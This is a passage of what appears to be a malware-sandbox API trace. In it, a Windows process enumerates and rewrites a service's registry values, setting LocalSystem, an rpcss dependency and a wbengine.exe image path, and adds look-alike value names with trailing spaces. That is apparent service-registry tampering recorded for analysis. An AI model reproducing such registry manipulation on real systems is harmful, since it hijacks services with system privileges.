(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4610) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4658) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46a0) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46e8) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0220.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4730) returned 1 [0220.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0220.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0220.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0220.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0220.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0220.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219de30) returned 1 [0220.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0220.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0220.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0220.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0220.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0220.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0220.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0220.845] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0220.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0220.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0220.845] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="localSystem", cbData=0xc | out: lpData="localSystem") returned 0x0 [0220.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0220.845] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0220.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0220.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0220.846] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0220.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0220.846] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0220.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0220.846] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0220.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0220.846] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0220.846] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0220.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0220.846] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0220.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4610 [0220.847] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0220.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0220.847] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0220.847] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0220.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0220.847] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0220.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44f0 [0220.847] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0220.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0220.847] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0220.847] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0220.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0220.847] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0220.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0220.847] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0220.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0220.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0220.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0220.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0220.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0220.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0220.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0220.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0220.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0220.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0220.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4730) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46e8) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46a0) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4658) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4610) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f45c8) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4580) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4538) returned 1 [0220.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f44f0) returned 1 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0220.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0220.849] RegQueryValueExA (in: hKey=0x148, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x0, lpData=0x0, lpcbData=0x36f45c*=0x0) returned 0x2 [0220.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0220.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0220.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0220.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0220.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0220.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0220.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0220.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0220.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0220.849] RegQueryValueExA (in: hKey=0x150, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0220.849] RegQueryValueExA (in: hKey=0x150, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4028, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0220.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0220.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0220.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0220.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0220.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0220.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0220.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0220.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0220.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0220.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0220.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0220.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0220.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0220.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0220.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0220.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0220.850] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0220.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0220.850] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0220.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0220.850] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.850] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.850] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.850] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.851] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.851] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.851] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.851] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.851] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.851] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.851] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.851] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.851] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.851] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.851] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.851] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0220.851] ExpandEnvironmentStringsA (in: lpSrc="\"%systemroot%\\system32\\wbengine.exe\"", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x24 [0220.851] ExpandEnvironmentStringsA (in: lpSrc="\"%systemroot%\\system32\\wbengine.exe\"", lpDst=0x21f46a0, nSize=0x24 | out: lpDst="\"C:\\Windows\\system32\\wbengine.exe\"") returned 0x23 [0220.851] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\system32\\wbengine.exe\"", cbData=0x23 | out: lpData="\"C:\\Windows\\system32\\wbengine.exe\"") returned 0x0 [0220.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0220.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46a0) returned 1 [0220.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f4778, cbMultiByte=34, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 34 [0220.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f4778, cbMultiByte=34, lpWideCharStr=0x21f2da0, cchWideChar=34 | out: lpWideCharStr="\"C:\\Windows\\system32\\wbengine.exe\"") returned 34 [0220.852] CommandLineToArgvW (in: lpCmdLine="\"C:\\Windows\\system32\\wbengine.exe\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f2c48*="C:\\Windows\\system32\\wbengine.exe" [0220.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0220.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0220.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.852] LocalFree (hMem=0x7f2c48) returned 0x0 [0220.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0220.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\wbengine.exe", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0220.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0220.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\wbengine.exe", cchWideChar=32, lpMultiByteStr=0x21f46a0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 